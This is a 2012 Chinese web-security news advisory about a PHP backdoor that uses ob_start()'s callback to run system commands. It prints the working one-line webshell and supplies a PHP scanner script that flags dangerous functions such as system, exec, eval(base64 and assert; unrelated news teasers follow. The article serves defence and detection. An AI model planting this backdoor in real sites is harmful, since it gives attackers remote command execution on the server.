首页 > 经验 > 关键词  > 网站安全分析最新资讯  > 正文

网站安全分析:PHP ob_start函数后门分析报告

2012-09-12 11:19 · 稿源:站长之家

站长之家(chinaz.com)9月12日消息:站长之家从日志宝安全团队获悉,近日,根据日志宝分析平台的分析数据显示,部分网站的访问日志中存在大量命令执行类后门行为。

我们与用户取得联系后拿到后门文件代码。此类后门通过PHP的ob_start()函数触发,利用ob_start()函数回调机制调用命令执行类函数并接受黑客远程发送的命令,此类后门代码可以躲避部分常见后门关键字查杀程序,最终以Web服务器权限远程执行任意命令。

PHP 手册中关于ob_start()函数回调机制的相关说明:

Ob_start()函数后门代码如下:

<?php
$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
?>

后门利用效果如下图:

针对此类后门行为,建议站长们检查网页源代码中是否出现ob_start()函数调用,并检查ob_start()的参数是否是常见的命令执行类函数(system,exec,popen,shell_exec等)或者其他可疑函数调用。

为了方便站长们检查网站源代码中是否出现可疑后门程序或者危险函数调用,日志宝安全团队编写了一款简易的PHP后门检测小脚本,可以快速方便的帮助站长检测网站文件是否被插入恶意后门代码,源代码和使用方法如下:

#!/usr/bin/php -q
<?php

#简易PHPwebshell检测脚本-By 日志宝安全团队
#检测特征如下:
#eval\(\\$\_POST 匹配 eval($_POST[cmd])--PHP一句话后门代码
#system(),exec(),shell_exec(),popen(),passthru(),proc_open()这些函数可以执行系统命令,名且在PHPSPY木马中使用
#phpinfo() 后门中经常出现的函数,正常文件中也可能出现造成敏感信息泄露
#eval\(base64 匹配经过base64编码后的后门
#eval\(gzuncompress 匹配经过gzip压缩过的后门
#\`*\` 匹配类似`$_REQUEST[cmd]`的一句话后门
#其他可以远程执行命令或者直接生成后门文件的危险函数(dl,assert,error_log,ob_start,preg_replace /e)

#使用方法
./findshell.php /home/wwwroot/(此处填写web目录路径) > result.log

程序的分析结果将保存在当前目录下的result.log文件中

set_time_limit(0);
function find($directory)
{
$mydir=dir($directory);
while($file=$mydir->read()){
if((is_dir("$directory/$file"))&&($file!=".")&&($file!=".."))
{
find("$directory/$file");
}
else{
if($file != "." && $file != ".."&&eregi(".php",$file)){
$fd=realpath($directory."/".$file);
$fp = fopen($fd, "r");
$i=0;
while ($buffer = fgets($fp, 4096)) {
$i++;if((eregi("eval\(\\$\_POST",$buffer))||(eregi("system\(",$buffer))||(eregi("exec\(",$buffer))||(eregi("shell_exec\(",$buffer))||(eregi("popen\(",$buffer))||(eregi("phpinfo\(",$buffer))||(eregi("passthru\(",$buffer))||(eregi("proc_open\(",$buffer))||(eregi("phpspy",$buffer))||(eregi("eval\(base64",$buffer))||(eregi("eval\(gzuncompress",$buffer))||(eregi("preg_replace\(\/^\/e,\$",$buffer))||(eregi("preg_replace\(\"\/\^\/e",$buffer))||(eregi("assert\(",$buffer))||(eregi("ob_start\(",$buffer))||(eregi("error_log\(",$buffer))||(eregi("dl\(",$buffer))){
all();
echo "可疑文件路径:".$fd."\r\nLine".$i.":".$buffer."\r\n\r\n";
}
}
fclose($fp);
}
}
}
$mydir->close();
}
function all()
{
static $count = 1;
echo $count;
$count++;
}

find($argv[1]);
?>

使用日志宝分析日志可以发现绝大部分常见Web后门的可疑访问行为,但是由于PHP语法的松散导致可以利用常规函数实现部分后门行为,比如执行系统命令等,因此也会出现一些遗漏和误报。在开发网站的过程中开发者需要有一定的安全编程意识,注意变量的初始化以及其他逻辑问题,加入一些安全过滤函数等防范措施,从网站本身的代码安全做起,才能起到深度防御的效果。希望广大站长能够通过日志宝分享的安全知识&技巧了解到更多Web安全相关内容,让自己的网站更加稳定、安全的运行。

注明:本安全报告来自日志宝,官方网站www.rizhibao.com

举报

  • 相关推荐
  • 数势科技SwiftAgent 3.0发布 从智能分析到智能决策

    在全球数字化转型浪潮中,企业数据价值挖掘的瓶颈日益凸显:数据口径混乱、分析门槛高、决策链路长等问题导致大量数据资产“沉睡”。数势科技于今日正式发布SwiftAgent 3.0,基于DeepSeek R1/V3 大模型与行业领先的智能引擎,重构企业数据分析与决策范式,实现从“数据可视化”到“决策自动化”的跨越式升级。企业数据分析的三大核心痛点:数据孤岛与语义鸿沟跨部门数据

  • OpenAI没说的秘密,Meta揭了?华人一作GPT-4o同款技术,爆打扩散王者

    Meta、西北大学和新加坡国立大学的研究团队提出TokenShuffle技术,显著提升了自回归模型生成高分辨率图像的能力。该技术通过局部窗口内的token合并与解构操作,将视觉token数量减少为平方分之一,首次实现2048×2048分辨率图像生成。基于27亿参数的Llama模型,TokenShuffle在GenAI基准测试中获得0.77综合得分,超越同类自回归模型0.18分,在人类评估中展现出更好的文本对齐和视觉质量。该方法无需修改Transformer架构,通过三阶段训练策略(512→1024→2048分辨率)逐步提升生成能力,为多模态大语言模型的高效高保真图像生成开辟了新路径。

  • GTA增强版登录XGP免费玩!XGP怎么免费玩GTA增强版

    GTA增强版上线XGP了,GTA增强版可以说是让我们的老朋友焕发了新的生机,更顶尖的游戏画面,更丰富的游戏内容,一定给各位新老朋友带来更好地体验。上XGP之后,我们的游玩也是多了一个新的选择,在XGP中入手会员就能免费玩GTA增强版,还有XGP的其他游戏,整体算起来还是比较优惠的,今天教大家XGP怎么免费玩GTA增强版。在XGP上玩游戏,要先优化网络,作为一款外服平台,�

  • 国内MCP工具推荐:AIbase宣布推出MCP资源网站

    ModelContextProtocol作为一种新兴的开源协议,正在迅速改变AI与数据系统之间的交互方式。为了帮助开发者更好地了解和应用MCP技术,AIbase推出了一个专注于MCP资源的网站,网址为https://www.aibase.com/zh/repos/topic/mcp。你将找到丰富的资源、强大的工具和活跃的社区支持,开启你的MCP开发之旅。

  • 国内详细MCP教程网站有哪些?AIbase:一个宝藏MCP资源平台

    在人工智能日益渗透我们日常生活的今天,一个名为ModelContextProtocol的协议正悄然改变着AI与工具、服务之间的交互方式。作为这一领域的先驱者,aibase.com的MCP资源仓库为开发者、研究人员以及对AI技术充满热情的公众提供了一个宝贵的资源平台。aibase.com不断关注MCP技术的发展趋势并持续更新资源仓库内容,确保用户能够紧跟技术前沿并获取最新资讯。

  • GMSwap上线在即,Statter生态繁荣提速进行时

    在加密行业整体进入深度调整期、全球市场不确定性持续上升的背景下,Statter依然展现出非凡的战略定力与建设节奏,持续推进生态升级。近日,Statter 官方重磅宣布:生态内去中心化交易所(DEX)——GMSwap 即将重磅上线,并全面接入Statter Network!这一标志性事件不仅意味着 Statter 生态在底层基础设施建设上迈出坚实一步,更预示着整个生态系统即将进入一个全新的加速发展�

  • 国内MCP资源网站有哪些?MCP工具上哪找?

    在人工智能领域,MCP正逐渐成为连接AI模型与外部世界的重要桥梁。AIbase正是探索MCP生态的绝佳平台,它为开发者和研究者提供了一个集中展示MCP相关开源项目和工具的网站,帮助用户快速了解最新的开发趋势和创新成果。如果你对MCP技术感兴趣,或者正在寻找相关的开发资源,AIbase绝对值得一试。

  • 镜舟科技基于 StarRocks 构建湖仓一体架构,支撑某大型电企业国产化升级

    某大型电网企业联合镜舟科技与腾讯云,基于开源分析型数据库StarRocks及腾讯TBDS大数据平台,构建电力行业国产化湖仓一体架构。该项目实现PB级电力数据统一管理,解决数据链路复杂、资源瓶颈、高并发查询等五大挑战,查询性能提升近8600倍。方案采用分层架构:Flink实时数据处理层、TBDS数据湖存储层、StarRocks分析加速层及可视化应用层,完成全栈国产化适配验证,支持业务平滑迁移。通过统一元数据目录和实时入湖机制,形成完整数据处理闭环,为能源行业核心系统国产化升级提供可复制的技术范本。

  • 史无前例!分析师预计苹果产品将线上涨40%:iPhone价格将翻近一倍

    受美国对中国及世界其他地区进口产品征收关税的影响,分析师预测苹果iPhone价格将上涨43%其价格可能很快就会达到现在的2倍。美国宣布对中国征收34%的关税,加上之前的20%关税,对来自中国的进口商品征收54%的关税。罗森布拉特证券估计,如果难以豁免,关税可能使苹果损失高达400亿美元。

  • AI测试市场深度分析Testin XAgent如何引领企业测试流程的智能化变革?

    随着人工智能技术的飞速发展,软件测试行业正经历着一场前所未有的变革。传统的人工测试方式已无法满足企业对测试效率和质量的更高要求。Testin云测将继续加大在AI测试领域的投入,不断推出更智能、更高效的测试解决方案,助力企业实现数字化转型,构建高质量的软件交付体系。